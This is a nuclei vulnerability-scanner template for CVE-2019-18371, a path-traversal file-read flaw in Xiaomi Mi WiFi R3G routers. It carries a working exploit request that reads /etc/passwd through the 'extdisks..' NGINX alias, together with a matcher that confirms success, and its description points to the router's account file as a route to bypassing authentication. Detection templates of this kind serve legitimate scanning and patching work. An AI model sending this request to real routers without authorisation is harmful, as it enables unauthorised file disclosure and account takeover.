nuclei-templates/http/cves/2019/CVE-2019-18371.yaml

45 lines
1.7 KiB
YAML

id: CVE-2019-18371
info:
name: Xiaomi Mi WiFi R3G Routers - Local file Inclusion
author: ritikchaddha
severity: high
description: |
Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.
remediation: |
Update the firmware of the Xiaomi Mi WiFi R3G routers to the latest version, which includes a fix for the local file inclusion vulnerability.
reference:
- https://ultramangaia.github.io/blog/2019/Xiaomi-Series-Router-Command-Execution-Vulnerability.html
- https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/arbitrary_file_read_vulnerability.py
- https://nvd.nist.gov/vuln/detail/CVE-2019-18371
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-18371
cwe-id: CWE-22
epss-score: 0.02855
epss-percentile: 0.89625
cpe: cpe:2.3:o:mi:millet_router_3g_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: mi
product: millet_router_3g_firmware
tags: cve2019,cve,lfi,router,mi,xiaomi
http:
- method: GET
path:
- "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a0047304502210089795d6cea74d691a80fe4309e7cd23d0e9ef5f624242e7d2a1a323adace47a002204a9bd781ae4dd840f88f75c8877ed78a367408638af977cca6bdf1ee21c9fe30:922c64590222798bb761d5b6d8e72950